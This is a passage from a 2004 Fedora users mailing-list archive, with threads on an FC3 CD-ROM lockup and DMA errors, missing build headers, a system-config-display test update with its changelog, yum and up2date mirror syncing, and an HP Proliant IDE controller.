<1100539146.11585.5.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> <1100199207.3866.0.camel@localhost.localdomain> <20041114032818.GA2081@devserv.devel.redhat.com> <1100445905.5025.9.camel@localhost.localdomain> <20041114174103.GA6989@devserv.devel.redhat.com> <1100457375.3612.3.camel@localhost.localdomain> <1100458232.3743.3.camel@localhost.localdomain> <1100536396.7800.7.camel@localhost.localdomain> <1100536592.12442.7.camel@localhost.localdomain> <1100537232.11585.1.camel@localhost.localdomain> <1100537592.12442.14.camel@localhost.localdomain> <1100539146.11585.5.camel@localhost.localdomain> Message-ID: <1100540753.14494.0.camel@localhost.localdomain> Is this related: From 2.6.10-rc2 changelog: [PATCH] Don't initialize /dev/pg0 to be always busy Without this patch my HP CD-Writer doesn't work. With this applied everything is fine. Signed-off-by: Tero Roponen Signed-off-by: Linus Torvalds I get a drive busy error whenever I try to mount. On Mon, 2004-11-15 at 12:19 -0500, Peter Jones wrote: > On Mon, 2004-11-15 at 11:56 -0500, Elliot Lee wrote: > > Turn off DMA for that drive, e.g. > > > > echo USE_DMA=0 > /etc/sysconfig/harddiskhdc > > I doubt if that'll help Kim's case. I don't actually think his is > related to the ide+reiserfs error below, where a (probably not CD) drive > that's been running for 20000 hours dies one morning, though. > > > > > -- Elliot > > > > On Mon, 15 Nov 2004, Kim Lux wrote: > > > > > Someone over on slashdot has a similar error pattern to what I have seen > > > on my machine: > > > > > > > > > I upgrade over the weekend, and now I can't access anything on the > > > secondary IDE controller without major problems - my load average when I > > > woke up this morning was over 230. This hardware has been perfectly > > > stable for 2 years. > > > > > > hdc: dma timer_expiry: dma status == 0x21 > > > hdc: DMA timeout error > > > hdc: dma timeout error: status=0xd0 {Busy} > > > ide: failed opcode was: unknown > > > hdc: DMA disabled > > > ide1: reset: success > > > hdc: irq timeout: status-0x80 { Busy } > > > ide: failed opcode was: unknown > > > ide: reset: success > > > ReiserFS: warning: is_tree_node: node level 19789 does not match to > > > the expected one 1 > > > > > > > > > I'll bet money that his /dev/hdc is a cdrom. > > Doubt it. > -- > Peter > > When in doubt, debug-on-entry the function you least suspect has > anything to do with something. > -- Kim Lux (Mr.) Diesel Research Inc From alan at redhat.com Mon Nov 15 17:46:53 2004 From: alan at redhat.com (Alan Cox) Date: Mon, 15 Nov 2004 12:46:53 -0500 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100540753.14494.0.camel@localhost.localdomain> References: <20041114174103.GA6989@devserv.devel.redhat.com> <1100457375.3612.3.camel@localhost.localdomain> <1100458232.3743.3.camel@localhost.localdomain> <1100536396.7800.7.camel@localhost.localdomain> <1100536592.12442.7.camel@localhost.localdomain> <1100537232.11585.1.camel@localhost.localdomain> <1100537592.12442.14.camel@localhost.localdomain> <1100539146.11585.5.camel@localhost.localdomain> <1100540753.14494.0.camel@localhost.localdomain> Message-ID: <20041115174653.GB3780@devserv.devel.redhat.com> On Mon, Nov 15, 2004 at 10:45:53AM -0700, Kim Lux wrote: > Is this related: From 2.6.10-rc2 changelog: > > > [PATCH] Don't initialize /dev/pg0 to be always busy pg is parallel port - unrelated From cra at WPI.EDU Mon Nov 15 17:48:48 2004 From: cra at WPI.EDU (Charles R. Anderson) Date: Mon, 15 Nov 2004 12:48:48 -0500 Subject: ioctl.h and others not found for build in FC3 In-Reply-To: <1100539677.14090.7.camel@localhost.localdomain> References: <1100531172.10882.14.camel@localhost.localdomain> <20041115152051.GD14135@angus.ind.WPI.EDU> <1100532803.11709.0.camel@localhost.localdomain> <1100534449.12442.2.camel@localhost.localdomain> <20041115172229.GE14135@angus.ind.WPI.EDU> <1100539677.14090.7.camel@localhost.localdomain> Message-ID: <20041115174848.GG14135@angus.ind.WPI.EDU> On Mon, Nov 15, 2004 at 10:27:57AM -0700, Kim Lux wrote: > This machine is not on a network/Internet as ndiswrapper is needed for > that. Try this: yum localinstall /path/to/glibc-headers... (not i've never tried it, so I don't know if it will work) From lux at diesel-research.com Mon Nov 15 17:54:52 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 15 Nov 2004 10:54:52 -0700 Subject: ioctl.h and others not found for build in FC3 In-Reply-To: <20041115174848.GG14135@angus.ind.WPI.EDU> References: <1100531172.10882.14.camel@localhost.localdomain> <20041115152051.GD14135@angus.ind.WPI.EDU> <1100532803.11709.0.camel@localhost.localdomain> <1100534449.12442.2.camel@localhost.localdomain> <20041115172229.GE14135@angus.ind.WPI.EDU> <1100539677.14090.7.camel@localhost.localdomain> <20041115174848.GG14135@angus.ind.WPI.EDU> Message-ID: <1100541293.14494.3.camel@localhost.localdomain> There wasn't a problem installing the glibc-headers package other than the dependency. I downloaded it with my laptop, burned it to CD and copied the package to the server. The problem was that I couldn't find a package named kernel-headers on the mirrors. It just became easier to re install. On Mon, 2004-11-15 at 12:48 -0500, Charles R. Anderson wrote: > On Mon, Nov 15, 2004 at 10:27:57AM -0700, Kim Lux wrote: > > This machine is not on a network/Internet as ndiswrapper is needed for > > that. > > Try this: > > yum localinstall /path/to/glibc-headers... > > (not i've never tried it, so I don't know if it will work) > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Mon Nov 15 17:57:45 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 15 Nov 2004 10:57:45 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <20041115174653.GB3780@devserv.devel.redhat.com> References: <20041114174103.GA6989@devserv.devel.redhat.com> <1100457375.3612.3.camel@localhost.localdomain> <1100458232.3743.3.camel@localhost.localdomain> <1100536396.7800.7.camel@localhost.localdomain> <1100536592.12442.7.camel@localhost.localdomain> <1100537232.11585.1.camel@localhost.localdomain> <1100537592.12442.14.camel@localhost.localdomain> <1100539146.11585.5.camel@localhost.localdomain> <1100540753.14494.0.camel@localhost.localdomain> <20041115174653.GB3780@devserv.devel.redhat.com> Message-ID: <1100541465.14494.5.camel@localhost.localdomain> Is there a special debug version that you'd like me to run ? I could also try running cdparanoia in a gdb if that would help. ditto for the mount process. On Mon, 2004-11-15 at 12:46 -0500, Alan Cox wrote: > On Mon, Nov 15, 2004 at 10:45:53AM -0700, Kim Lux wrote: > > Is this related: From 2.6.10-rc2 changelog: > > > > > > [PATCH] Don't initialize /dev/pg0 to be always busy > > pg is parallel port - unrelated > -- Kim Lux (Mr.) Diesel Research Inc From mpeters at mac.com Mon Nov 15 18:10:35 2004 From: mpeters at mac.com (Michael A. Peters) Date: Mon, 15 Nov 2004 18:10:35 +0000 Subject: Applications for FC4 In-Reply-To: <1100531566.2745.71.camel@kyrre> (from kyrre@solution-forge.net on Mon Nov 15 07:12:46 2004) References: <1100487138.22508.107.camel@localhost.localdomain> <1100531566.2745.71.camel@kyrre> Message-ID: <1100542235l.3541l.0l@devel.mpeters.us> On 11/15/2004 07:12:46 AM, Kyrre Ness Sjobak wrote: > > Now M$ is including mp3 Apple has included mp3 for a long time. I have to wonder if iTunes is why MS suddenly felt they needed to ... From mpeters at mac.com Mon Nov 15 18:23:56 2004 From: mpeters at mac.com (Michael A. Peters) Date: Mon, 15 Nov 2004 18:23:56 +0000 Subject: Slashdot is discussing "FC3: worthwhile or not ?" In-Reply-To: <1100537155.12442.11.camel@localhost.localdomain> (from lux@diesel-research.com on Mon Nov 15 08:45:54 2004) References: <1100537064.12442.9.camel@localhost.localdomain> <1100537155.12442.11.camel@localhost.localdomain> Message-ID: <1100543036l.3541l.1l@devel.mpeters.us> On 11/15/2004 08:45:54 AM, Kim Lux wrote: > Ouch: "Basically, what I'm saying is I fail to see where FC stands > out > above other distributions that would make me want to use it. Granted, > after the general buginess I experienced with FC2, I may be biased, > but > the whole point is the fact that I wasn't having similar issues with > the > other distributions, so why should I have to put up with them with > FC?" People who post stuff like that rarely can identify what their issue was. Last *serious* redhat/fedora problem I can recall was the gcc 2.96 thing. Oh - and RH8 shipped with a gnome that would go crazy if you made your panel go vertical or added a vertical drawer. 9 time out 10 when I have come across a seriously messed up system, I find that the user has replaced half of the vendor supplied stuff with 3rd party (less or no QA) replacements, forced installed stuff opposed to resolving dependencies, etc. And of course - there are always the slashdot trolls - who post just to get reactions. From lux at diesel-research.com Mon Nov 15 18:34:31 2004 From: lux at diesel-research.com (Kim Lux) Date: Mon, 15 Nov 2004 11:34:31 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <20041115174653.GB3780@devserv.devel.redhat.com> References: <20041114174103.GA6989@devserv.devel.redhat.com> <1100457375.3612.3.camel@localhost.localdomain> <1100458232.3743.3.camel@localhost.localdomain> <1100536396.7800.7.camel@localhost.localdomain> <1100536592.12442.7.camel@localhost.localdomain> <1100537232.11585.1.camel@localhost.localdomain> <1100537592.12442.14.camel@localhost.localdomain> <1100539146.11585.5.camel@localhost.localdomain> <1100540753.14494.0.camel@localhost.localdomain> <20041115174653.GB3780@devserv.devel.redhat.com> Message-ID: <1100543671.15240.2.camel@localhost.localdomain> FWIW: I can now manually mount my cdrom without any problems and eject said manually mounted cdrom as well. It reads fine too. Remember that hald is still set to off. On Mon, 2004-11-15 at 12:46 -0500, Alan Cox wrote: > On Mon, Nov 15, 2004 at 10:45:53AM -0700, Kim Lux wrote: > > Is this related: From 2.6.10-rc2 changelog: > > > > > > [PATCH] Don't initialize /dev/pg0 to be always busy > > pg is parallel port - unrelated > -- Kim Lux (Mr.) Diesel Research Inc From david at fubar.dk Mon Nov 15 18:42:10 2004 From: david at fubar.dk (David Zeuthen) Date: Mon, 15 Nov 2004 13:42:10 -0500 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <20041115133436.GB3964@devserv.devel.redhat.com> References: <2f9c0cdd3140ef21279f122330d12766@fcp.homelinux.org> <1100475787.4401.0.camel@davidz> <20041115133436.GB3964@devserv.devel.redhat.com> Message-ID: <1100544130.15292.21.camel@davidz> On Mon, 2004-11-15 at 08:34 -0500, Alan Cox wrote: > On Sun, Nov 14, 2004 at 06:43:07PM -0500, David Zeuthen wrote: > > hal already uses O_EXCL for opening the device node when it comes to > > optical drives. It is a bug in cdparanoia if it doesn't. > > cdparanoia tries to be portable. O_EXCL on a device node meaning exclusive > ownership is an entirely Linux extension (and 2.6 at that for the general case) > I know - so is cdrecord but we patch that one; having cdparanoia not using O_EXCL would then be a RH bug, not an upstream bug. Still a bug though. Cheers, David From tim at birdsnest.maths.tcd.ie Mon Nov 15 18:49:01 2004 From: tim at birdsnest.maths.tcd.ie (Timothy Murphy) Date: Mon, 15 Nov 2004 18:49:01 +0000 Subject: Slashdot is discussing "FC3: worthwhile or not ?" In-Reply-To: <1100537155.12442.11.camel@localhost.localdomain> References: <1100537064.12442.9.camel@localhost.localdomain> <1100537155.12442.11.camel@localhost.localdomain> Message-ID: <200411151849.01868.tim@birdsnest.maths.tcd.ie> On Monday 15 November 2004 16:45, Kim Lux wrote: > Ouch: "Basically, what I'm saying is I fail to see where FC stands out > above other distributions that would make me want to use it. Granted, > after the general buginess I experienced with FC2, I may be biased, but > the whole point is the fact that I wasn't having similar issues with the > other distributions, so why should I have to put up with them with FC?" I guess like many other people, I am running Fedora as a "hangover" from Redhat. I'm pretty happy with Fedora, and am not sure I've had more problems going from RH-9 -> FC-1 -> FC-2 -> FC-3 than I had with RH-5 -> ... -> RH-9. However, I don't have as much confidence that FC-n will run without problems on machine X as I had with Redhat. Is that a mistaken view on my part? I used to give students copies of Redhat, but I don't think I'd do that any more with Fedora, although I am asked quite often if I am still distributing "Linux CDs". Of course it is much easier for people to make their own CDs now anyway. But I have a feeling that if I gave awqy Fedora CDs I would be deluged with problems. I guess I'm not really convinced that sufficient time and effort is devoted by the Fedora team to ironing out installation problems. [My view is strengthened by the fact that a simple patch to xorg-x11 posted over 6 months ago - not by me - has still not been applied, although this means that X will not run on my Sony Picturebook, and I assume on most other Picturebooks too. If you are interested you will find some info on this at http://www.maths.tcd.ie/~tim/Picturebook/ .] It's all very well having a "bleeding edge" system that can play all sorts of tricks; but if you don't get newies using the system it is going to die out sooner or later. And newbies are not going to spend much time on a system that does not work "out of the box". Incidentally, when I made a similar remark recently I was told "It's free, what do you expect" This is a really damaging attitude, There is absolutely no reason why free software should not perform as well as any commercial software, and in my experience the Linux kernel and TeX/LaTeX are far superior to any of their rivals. I must confess I have this niggling feeling that Redhat may not feel it is in their interest for Fedora to be too easy to install and use, as this might lesses the attraction of their commercial system. I hope someone will tell me this is nonsense. -- Timothy Murphy e-mail (<80k only): tim /at/ birdsnest.maths.tcd.ie tel: +353-86-2336090, +353-1-2842366 s-mail: School of Mathematics, Trinity College, Dublin 2, Ireland From pnasrat at redhat.com Mon Nov 15 18:49:44 2004 From: pnasrat at redhat.com (Paul Nasrat) Date: Mon, 15 Nov 2004 13:49:44 -0500 Subject: Fedora Core 3 Test Update: system-config-display-1.0.24-1 Message-ID: <1100544584.14919.20.camel@dhcp83-102.boston.redhat.com> --------------------------------------------------------------------- Fedora Test Update Notification FEDORA-2004-430 2004-11-15 --------------------------------------------------------------------- Product : Fedora Core 3 Name : system-config-display Version : 1.0.24 Release : 1 Summary : A graphical interface for configuring the X Window System display Description : system-config-display is a graphical application for configuring an X Window System X server display. --------------------------------------------------------------------- Update Information: Please test if you have a dual display setup (both single and dual cards) and have been experiencing tracebacks whilst configuring using system-config-display. If you experience difficulties please add to bugzilla under https://bugzilla.redhat.com/bugzilla/show_bug.cgi? id=136916 Mail me off list. --------------------------------------------------------------------- * Mon Nov 15 2004 Paul Nasrat 1.0.24-1 - Dual Head patch for testing thanks to Marc Andre Morissette (#136916) * Tue Oct 19 2004 Paul Nasrat 1.0.23-1 - Firstboot - re-read config so both kbd and display changes persist (#135361) * Thu Oct 14 2004 Paul Nasrat 1.0.22-1 - Depth callback patch from twaugh (#128650) * Fri Oct 01 2004 Paul Nasrat 1.0.21-1 - fix mouse traceback * Tue Sep 07 2004 Paul Nasrat - 1.0.20-1 - Refactor some stuff into rhpl - Don't override driver changes unless in reconfig (#127779) * Tue Sep 07 2004 Paul Nasrat - 1.0.19-1 - Translatable desktop - Layout changes for firstboot screen * Thu Aug 19 2004 Paul Nasrat - 1.0.18-2 - Ensure selection string translatable * Thu Aug 19 2004 Paul Nasrat - 1.0.18-1 - Monitor selection for first boot * Fri Jun 25 2004 Brent Fox - 1.0.17-1 - initialize self.probed_path in videocardDialog.py (bug #113695) * Wed Jun 23 2004 Brent Fox - 1.0.16-1 - reduce size of monitor-off.png and monitor-on.png to fit in 640x480 (bug #122142) * Mon Jun 14 2004 Brent Fox - 1.0.15-2 - set the text domain for xconf.py and xConfigDialog.py (bug #123494) * Wed Jun 02 2004 Alex Larsson 1.0.15-1 - fix --reconfig and catch some exceptions for readonly root * Tue May 25 2004 Brent Fox 1.0.14-2 - add BuildRequires for desktop-file-utils (bug# 124181) * Fri Apr 30 2004 Brent Fox 1.0.14-1 - do not write out extra XF86Config file during firstboot (bug #121729) * Tue Apr 20 2004 Brent Fox 1.0.13-3 - Do not write out XkbRules line to config file, as it is unnecessary to hard code the rules file, which has a built in default which should always work. (#120858) * Wed Apr 14 2004 Brent Fox 1.0.13-2 - update requires for new pyxf86config * Tue Apr 13 2004 Brent Fox 1.0.13-1 - make changes for XFree86 -> Xorg conversion * Thu Apr 08 2004 Brent Fox 1.0.12-2 - fix icon path (bug #120174) * Tue Mar 23 2004 Brent Fox 1.0.12-1 - filter out duplicate monitor entries (bug #118976) * Wed Mar 17 2004 Mike A. Harris 1.0.11-1 - Change Requires: XFree86 to Requires: /usr/X11R6/bin/XFree86, which is what it appears from the sources is being called. That will need to change when the server gets renamed, so it should be implemented IMHO in a way that is not hard coded. This should suffice for now however. - Changed package description to remove "XFree86" name and replace it with generic "X Window System X server" term. - Added the "via", and "voodoo" drivers that were missing to internal driver list in videocardDialog.py. The list is still missing stuff though, but those sprung to mind. - Added force-tag target to Makefile with tag -cF - Added tag target without -F to Makefile - Removed -F from archive target as that can potentially blow away an already tagged and released version from the repository if someone accidentally does a "make archive" without updating the spec file Version: field like I just about did. ;o) * Mon Mar 01 2004 Brent Fox 1.0.10-1 - sanity check the monitor selection (bug #112314) * Mon Mar 01 2004 Brent Fox 1.0.9-3 - remove Requires on system-config-mouse * Fri Feb 27 2004 Brent Fox 1.0.9-2 - another stab at the dual-head code * Thu Feb 26 2004 Brent Fox 1.0.9-1 - write out "Screen" entry for dual-head cards * Tue Feb 24 2004 Brent Fox 1.0.8-1 - start up metacity to make the windows look nice (bug #108206) * Thu Feb 19 2004 Brent Fox 1.0.7-1 - don't import rhpl.mouse in xconf.py * Tue Feb 17 2004 Brent Fox 1.0.6-1 - write XF86Config to the correct path (bug #115501) * Fri Jan 30 2004 Brent Fox 1.0.5-1 - correct naming in the spec file description * Thu Dec 04 2003 Brent Fox 1.0.4-1 - add code to apply changes made in the firstboot display screen * Tue Dec 02 2003 Brent Fox 1.0.3-1 - add code to pull display notebook page into firstboot * Thu Nov 20 2003 Brent Fox 1.0.2-1 - fix path problem * Wed Nov 19 2003 Brent Fox 1.0.1-1 - rename from redhat-config-xfree86 to system-config-display - add Obsoletes for redhat-config-xfree86 - make changes for Python2 * Thu Oct 23 2003 Brent Fox 0.9.15-1 - work around cards with no driver entries (bug #106501) * Thu Oct 23 2003 Brent Fox 0.9.14-1 - check length of list before removing items (bug #107790) * Thu Oct 16 2003 Brent Fox 0.9.13-1 - allow dualhead to be disabled (bug #107261) * Wed Oct 15 2003 Brent Fox 0.9.12-1 - fix bug #106884 for real this time * Tue Oct 14 2003 Brent Fox 0.9.11-1 - package lightrays.png inside redhat-config-xfree86 * Mon Oct 13 2003 Brent Fox 0.9.10-1 - make sure current is initialized (bug #106884) * Mon Oct 06 2003 Brent Fox 0.9.9-3 - add a Requires for XFree86 (bug #105992) * Mon Oct 06 2003 Brent Fox 0.9.9-2 - finish up the dual-head code - catch case of having no layout options * Thu Oct 02 2003 Brent Fox 0.9.9-1 - first stab at multihead code - commit some additional monitor icons * Thu Aug 14 2003 Brent Fox 0.9.8-1 - tag on every build * Thu Jun 05 2003 Brent Fox 0.9.7-1 - see if we have the name for an unprobed monitor * Tue Jun 03 2003 Brent Fox 0.9.6-1 - only offer the resolutions that we know to be reasonable for the selected monitor (bug #88269) * Fri May 30 2003 Brent Fox 0.9.5-1 - big UI changes - make room in the UI for multihead stuff * Wed May 28 2003 Brent Fox 0.7.6-1 - add an ExcludeArch for s390 and s390x (bug #91811) * Fri May 23 2003 Brent Fox 0.7.5-1 - turn on horizontal scrolling in videocard window - initialize dpi measurement option menu correctly (bug #90190) * Wed May 21 2003 Michael Fulbright 0.7.4-1 - converted to use new way of representing Generic monitors in MonitorsDB * Tue Feb 04 2003 Brent Fox 0.7.3-2 - paint the background with lightrays.png * Thu Jan 30 2003 Brent Fox 0.7.3-1 - bump and build * Tue Jan 21 2003 Brent Fox 0.7.2-3 - add closing parenthesis (bug #80398) * Mon Jan 20 2003 Brent Fox 0.7.2-2 - iterate through available video cards until one works - clean up the output * Fri Jan 17 2003 Brent Fox 0.7.1-6 - make monitor dialog a little larger and allow horz. scrolling (bug #82112) * Tue Jan 14 2003 Brent Fox 0.7.1-5 - fixed desktop file icon * Thu Jan 09 2003 Jeremy Katz 0.7.1-4 - import rhpl.monitor * Mon Jan 06 2003 Brent Fox 0.7.1-3 - try to read the XMOUSETYPE from /etc/sysconfig/mouse (bug #74992) * Sun Jan 05 2003 Brent Fox 0.7.1-2 - fix the dialog centering code - connect the resolution menu to update_ui so the screenshot gets refreshed * Sun Jan 05 2003 Brent Fox 0.7.1-1 - change radio buttons to OptionMenus * Fri Jan 03 2003 Brent Fox 0.7.0-6 - default to us keyboard if /etc/sysconfig/keyboard contains a keyboard unknown to rhpl (bug #80993) * Sun Dec 22 2002 Brent Fox 0.7.0-5 - change xconfig.comment to reflect that redhat-config-xfree86 made the change * Fri Dec 20 2002 Brent Fox 0.7.0-4 - call mouse.read() if probing didn't return a valid DEVICE info (bug #80115) - import string in videocardDialog.py - pass hardware_state into VideocardDialog * Thu Dec 19 2002 Brent Fox 0.7.0-2 - made some ui cleanups that keeps the dialog from resizing while changing resolutions - removed all the autoconf stuff and replaced it with simpler Makefile and spec file - rebuild for completeness * Fri Dec 13 2002 Brent Fox 0.7.0-1 - pulled the classes out into their own files to make it more understandable * Tue Nov 12 2002 Michael Fulbright 0.6.9-1 - migrated to new rhpl based backend * Tue Nov 05 2002 Alexander Larsson - Fixed some small bugs * Thu Sep 05 2002 Alexander Larsson - Require pygtk2-libglade * Fri Aug 30 2002 Jeremy Katz 0.6.6-1 - create /etc/X11/X symlink (#73108) * Wed Aug 28 2002 Alexander Larsson 0.6.5-1 - Fix DRI state changes. (#72255) * Tue Aug 27 2002 Alexander Larsson 0.6.4-1 - Fix XF86Option typo (#72243) * Mon Aug 26 2002 Alexander Larsson 0.6.3-1 - Fixes bug #72456 * Fri Aug 23 2002 Alexander Larsson 0.6.2-1 - Fixed part of Bug #72275, the rest is in Gtk+. * Wed Aug 21 2002 Preston Brown 0.6.1-1 - fixed starting tool when XF86Config is corrupt (#71461) * Fri Aug 09 2002 Alexander Larsson 0.6.0-1 - Add 640x480 to list of resolutions - Kluge around treeview horizontal scroll bug in videocard dialog - set textdomain everywhere it is needed to make i18n work - Try --reconfig if starting an xserver with the current config file doesn't work. - Tell gdm to restart server on logout after we write the config file. * Tue Aug 06 2002 Preston Brown 0.5.2-1 - output to XF86Config (not XF86Config-4) when using --reconfig * Fri Jul 19 2002 Alexander Larsson - Obsolete Xconfigurator * Wed Jun 26 2002 Alexander Larsson 0.3.1-1 - Updated to use configure * Mon Jun 17 2002 Alexander Larsson - Bumped version to 0.3.0 * Thu May 30 2002 Alex Larsson - Bumped to 0.2.2 * Tue May 28 2002 Alex Larsson - Update to version 0.2.0 * Thu Apr 11 2002 Alex Larsson 0.1.0-1 - Initial release * Tue Apr 09 2002 Alex Larsson - Initial specfile --------------------------------------------------------------------- This update can be downloaded from: http://download.fedora.redhat.com/pub/fedora/linux/core/updates/testing/3/ 2d22b19c0074a49fcdb3692906cd691d SRPMS/system-config- display-1.0.24-1.src.rpm f86c074071271c64f30f61f3218324ff x86_64/system-config- display-1.0.24-1.noarch.rpm f86c074071271c64f30f61f3218324ff i386/system-config- display-1.0.24-1.noarch.rpm This update can also be installed with the Update Agent; you can launch the Update Agent with the 'up2date' command. You may need to edit your up2date channels configuration. Within /etc/sysconfig/rhn/sources enable the following line: yum updates-testing http://download.fedora.redhat.com/pub/fedora/linux/core/updates/testing/3/$ARCH --------------------------------------------------------------------- From kyrre at solution-forge.net Mon Nov 15 19:06:38 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 15 Nov 2004 20:06:38 +0100 Subject: Applications for FC4 In-Reply-To: References: Message-ID: <1100545597.28755.9.camel@kyrre> I primarily want a "checkbox" to activate the extras repository in anaconda and/or in a graphical yum frontend. It has to come. And i want fedora CORE to be the *QUALITY* distro, where things "just work", and is regarded as THE distro with the best config tools - by both the point'n'click- and the textmode-crowd. man, 15.11.2004 kl. 03.40 skrev joelbryan: > This where just mere application request, an open discussion of > suggested software hoping to be release for FC4. > > I got lot' of application request, here are them as follows > > - Inkscape - A good SVG editor for Gnome, coz it always end up > fronting Gimp as a Paint substitute. > - BitTorrent - I think there's reasons to include this. > - Dr. Python - an IDE for Python. > - Anjuta - C/C++ IDE From kyrre at solution-forge.net Mon Nov 15 19:09:30 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 15 Nov 2004 20:09:30 +0100 Subject: Applications for FC4 In-Reply-To: <1100542235l.3541l.0l@devel.mpeters.us> References: <1100487138.22508.107.camel@localhost.localdomain> <1100531566.2745.71.camel@kyrre> <1100542235l.3541l.0l@devel.mpeters.us> Message-ID: <1100545770.28755.15.camel@kyrre> man, 15.11.2004 kl. 19.10 skrev Michael A. Peters: > On 11/15/2004 07:12:46 AM, Kyrre Ness Sjobak wrote: > > > > > Now M$ is including mp3 > > Apple has included mp3 for a long time. > I have to wonder if iTunes is why MS suddenly felt they needed to ... > Windows Media player has included mp3 for longer than iTunes have existed. From kyrre at solution-forge.net Mon Nov 15 19:26:34 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 15 Nov 2004 20:26:34 +0100 Subject: Can we play DVD movies under FC3? In-Reply-To: <2ad7cea104111413317e551269@mail.gmail.com> References: <1100396017.3238.24.camel@hostmaster.org> <1100396897.19116.13.camel@lion> <1100397545.3238.27.camel@hostmaster.org> <4196C56A.1010203@speakeasy.net> <1100404935.19116.17.camel@lion> <1100406347.3396.11.camel@localhost.localdomain> <1100443747.19116.23.camel@lion> <1100463677.3031.28.camel@ferrari.localdomain> <2ad7cea104111413317e551269@mail.gmail.com> Message-ID: <1100546793.28755.21.camel@kyrre> > I guess I'm not a good citizen after all... I would have been more affraid of not being a good citizen if you acctually listened to the RIAA and friends... Keep up the good work! From kyrre at solution-forge.net Mon Nov 15 19:30:07 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 15 Nov 2004 20:30:07 +0100 Subject: Can we play DVD movies under FC3? In-Reply-To: <1100444266l.25657l.1l@devel.mpeters.us> References: <1100388977.19116.6.camel@lion> <20041113235146.GA28539@devserv.devel.redhat.com> <1100438003.3077.12.camel@kyrre> <1100444266l.25657l.1l@devel.mpeters.us> Message-ID: <1100547007.28755.25.camel@kyrre> s?n, 14.11.2004 kl. 15.57 skrev Michael A. Peters: > On 11/14/2004 05:13:23 AM, Kyrre Ness Sjobak wrote: > > > > > As i am a Norwegian citizen, the "DVD-Jon" trial (the guy who wrote > > DeCSS and got sued by about every american film organization - and > > won.) > > proved that it is legal for me as a norwegian in Norway to give you > > info > > on this. > > Probably - but remember, a few years back our country arrested a > Russian at defcon for doing something IN Russia that was legal IN > Russia on the basis that someone in America had visited his Russian > website. > > Crazy, I know. So if you never plan on coming here, no worry. > Next thing i hear is that RH is shut down because they let my *eeeeeviiiil* words through their mailserver, instead of giving name and adress to the Bastards. And then Slashdot for posting the news. And then some british service no-body had heard of because they told everybody slashdot was taken down. From wphewitt at bpa.gov Mon Nov 15 20:05:44 2004 From: wphewitt at bpa.gov (William Hewitt) Date: Mon, 15 Nov 2004 12:05:44 -0800 Subject: HP Proliant ML330 Hard Disk Drivers..... In-Reply-To: <20041111192418.C2D8974021@hormel.redhat.com> References: <20041111192418.C2D8974021@hormel.redhat.com> Message-ID: <1100549144.4308.16.camel@localhost.localdomain> I have an HP Proliant ML330 - fresh from the factory and low and behold, they have swapped out standard IDE Controllers with some funky on-board IDE RAID Controller (Ultra ATA IDE 100) that apparently doesnt work with anything but RHE or RH9 or RH8...... And even then, the documentation is lacking...... Apparently, HP doesnt support anything but 2.4.x kernels.... and it looks like no one has worked on these drivers for quite a while... Linux doesnt detect these drives until you go through a rather convoluted hack to get the drivers into the install boot system - so it can see the drives - so it can install the software on those drives.... My only other alternative (so far) is to put in $29 PCI Bus Ultra IDE Controllers and bypass the HP stuff... (Hey HP, do you guys follow this list? Things like this make me less and less inclined to use HP.....) My employers would rather not go the additional card route - so I am stuck with lurking on this list trying to get some insight from someone who has been successful with this configuration.... So far, no luck..... So, if anyone has any experience with this configuration, could you please drop me a line and give me some insight? TIA WPH -------------- next part -------------- An HTML attachment was scrubbed... URL: From alexl at stofanet.dk Mon Nov 15 20:14:42 2004 From: alexl at stofanet.dk (Alex Thomsen Leth) Date: Mon, 15 Nov 2004 21:14:42 +0100 Subject: up2date/yum.conf Message-ID: <1100549682.5062.2.camel@scar.lion> what about syncing up2date and yum.conf. i think its stupid that up2date shows updates available, when yum.conf cant find the updates because yum.conf uses another repo. Alex Thomsen Leth From balay at fastmail.fm Mon Nov 15 20:21:00 2004 From: balay at fastmail.fm (Satish Balay) Date: Mon, 15 Nov 2004 14:21:00 -0600 (CST) Subject: up2date/yum.conf In-Reply-To: <1100549682.5062.2.camel@scar.lion> References: <1100549682.5062.2.camel@scar.lion> Message-ID: On Mon, 15 Nov 2004, Alex Thomsen Leth wrote: > what about syncing up2date and yum.conf. i think its stupid that up2date > shows updates available, when yum.conf cant find the updates because > yum.conf uses another repo. You can sync them yourself (choose your favourite mirror - and use it for both). 'mirrorlist' is a nice way to distribute load across mirrors. But at the same time - no 2 mirrors are gaurented to be in sync. so 2 consequitive invocations of the 'same' tool (for eg: yum) - might give you different behavior in each case. Now you are talking about difference in behavior across tools. Satish From alan at redhat.com Mon Nov 15 20:21:24 2004 From: alan at redhat.com (Alan Cox) Date: Mon, 15 Nov 2004 15:21:24 -0500 Subject: HP Proliant ML330 Hard Disk Drivers..... In-Reply-To: <1100549144.4308.16.camel@localhost.localdomain> References: <20041111192418.C2D8974021@hormel.redhat.com> <1100549144.4308.16.camel@localhost.localdomain> Message-ID: <20041115202124.GC5569@devserv.devel.redhat.com> On Mon, Nov 15, 2004 at 12:05:44PM -0800, William Hewitt wrote: > I have an HP Proliant ML330 - fresh from the factory and low and behold, > they have swapped out standard IDE Controllers with some funky on-board > IDE RAID Controller (Ultra ATA IDE 100) that apparently doesnt work > with anything but RHE or RH9 or RH8...... And even then, the > documentation is lacking...... You forgot to give the PCI identifiers or specify the name of this controller. > My only other alternative (so far) is to put in $29 PCI Bus Ultra IDE > Controllers and bypass the HP stuff... (Hey HP, do you guys follow this > list? Things like this make me less and less inclined to use HP.....) My You'd be better off returning the machine if this is the only option. Onboard IDE devices are normally on a different bus to the external 33/32bit bus and you'll trash performance if so. Most such cards are just generic IDE controllers rebadged or branded and some software glue added that you can replace with md From mpleite at ppl-ti.com Mon Nov 15 20:27:24 2004 From: mpleite at ppl-ti.com (Miguel Pereira Leite) Date: Mon, 15 